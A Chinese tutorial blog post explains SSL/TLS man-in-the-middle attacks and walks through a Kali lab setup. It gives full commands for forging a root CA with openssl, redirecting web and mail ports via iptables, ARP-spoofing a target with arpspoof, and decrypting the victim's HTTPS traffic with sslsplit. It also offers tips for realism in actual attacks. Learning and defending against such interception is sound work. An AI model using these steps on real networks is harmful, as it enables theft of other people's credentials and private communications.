中间人攻击SSL加密流量

中间人劫持https加密流量,对其进行解密查看明文内容。

原理:终端发送流量经过路由转发,流量被中间人劫持,直到中间人放回给服务器(中间人需具备与服务器端看起来差不多的条件)

攻击者位于客户端和服务器通信链路中进行的攻击方式:

1、ARP欺骗:(把中间人的mac地址当作网关,从而让流量流经中间人(伪造证书、解密加密信息等操作))——>欺骗终端设备,让网关误认为是中间人,从而得到流量。

2、DHCP:(动态主机配置协议,自动分配ip地址)
#举例:假使客户端与攻击者在同一网段下,攻击者本地安装DHCP服务,一旦离客户端近,那么先响应攻击者的DHCP服务(从而分配网关、IP、DNS等),先响应向接纳。
3、修改网关

4、修改DNS

5、修改HOSTS

#3、4、5方式不容易进行操作,当真正控制客户端主机,方才容易进行。

#类似:ICMP、STP、OSPF协议(主要是通过攻击协议,让终端流量都经过攻击者电脑)

#加密流量:将劫持的流量解密查看信息,再加密发给目标

攻击者发起攻击的前提:
1、客户端已经信任伪造证书颁发机构(服务器端的伪造根证书)
2、攻击者控制了核发证书颁发机构
3、客户端程序禁止了显示证书错误告警信息(客户端已完成)

##只要不出现给客户端知晓的报错信息,那么客户端很难发现被中间人了。除非清楚服务器的证书是什么比对与服务器的公私钥交换情况


4、攻击者已经控制客户端,并强制其信  任伪造证书

下面举例说明攻击流程,以例子说明中间人攻击原理:

#利用工具:Kali(sslsplit)、主机;Kali作为中间人攻击者,主机作为客户端。

说明:SSLsplit
1、透明SSL/TLS中间人攻击工具
2、对客户端伪装成服务器,对服务器伪装成普通客户端
3、伪装服务器需要伪造证书
4、支持SSL/TLS加密的SMTP、POP3、FTP等通信中间人攻击

下面进行具体操作:

利用openssl生成证书私钥:

openssl genrsa -out ca.key 2048 

利用私钥签名生成根证书

openssl req -new -x509 -days 1096 -key ca.key -out ca.crt

#对于真正使用中间人攻击,配置方面尽量真实

这里的ca.crt与ca.key分别为:私钥签名生成根证书、证书私钥

下面是具体内容以及设置证书时自己配置的相关的配置信息:

#在根证书里面,存在的只是证书的公钥,到中间人端的私钥是我们自己生成的,也就是ca.key。

下面在kali上启动路由,并配置好相关的转发规则,转发规则只列举一些:

启动路由:

sysctl -w net.ipv4.ip_forward=1 

配置iprables端口转发规则:

iptables -t nat -F(清空当前配置)
iptables -t nat -L(查看当前配置)

#先查看本地的443端口和80端口是否有开,有开结束掉,不让被占用。从而iptables会将流量引入到sslsplit端口,从而实现流量的解密。(本地又开的话,就会直接访问本机web站点)

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
#对将80端口收到的流量发送给8080端口,8080设置为sslsplit从而解密到来的流量得到明文信息。

iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
#对将443端口收到的流量发送给8443端口,8443设置为sslsplit从而解密到来的流量得到信息。

再多举一些:
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 #MSA

iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 #SMTPS


iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 #IMAPS


iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 #POP3S

#当所有配置完成后,再来查看当前配置是否成功:

iptables -t nat -L

即如:

当所有都配置完成后,下面将再Kali上进行ARP的欺骗配置:

首先需要将Kali网卡配好,将客户端真实网关的mac地址配置为中间人(Kali)的网卡的mac地址:

arpspoof -i eth0 -t 1.1.1.2 -r 1.1.1.1 
(-t接目标IP,-r接目标网关)

然后需要创建保存客户端流量的日志文件的目录,这里以:test/logdir作为例子,然后再开启侦听,读取客户端访问通过SSL加密的网站流量信息。

启动SSLsplot:

mkdir -p test/logdir

#配置的时候遇到问题,是tool的错,所以建议自己手动新建。

侦听:

sslsplit -D -l connect.log -j /root/test -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080 
(启动8080与8443的侦听)

#请求内容放在logdir内

#网关的真实mac是上面的,当开启欺骗后,将会把网关mac变为中间人的网卡mac地址。

启动侦听:

#当被害者访问taobao、百度、mail.163.com(有些http做了登陆过程用SSL加密但非全站https也会有证书错误告警),即经过SSL加密后的流量都会被记录下来,保存在logdir中,查看就能看到被解密出来的明文信息:

随便打开一个,可能没有信息,也不是经SSL加密的流量:

值得注意的是:

很多时候,中间人伪造的证书并不是特别精密的话,一般都会在浏览器上出现报错信息,查看日志和浏览器证书及证书报错信息,但当安装中间人生成的根证书之后再次访问,便不会报错。

#当中间人劫持到加密流量后,本应全部解密为明文信息,可是有些登陆账号中密码仍为密文,主要是:在登陆输入密码那里会有一个控件,先对密码做了加密机制,在经过流量转发,所以尽管看到流量内内容,但密码仍是加密状态。

以上便是呈现中间人攻击原理的最好解释流程。

猜你喜欢

转载自blog.csdn.net/Jack0610/article/details/88134609
今日推荐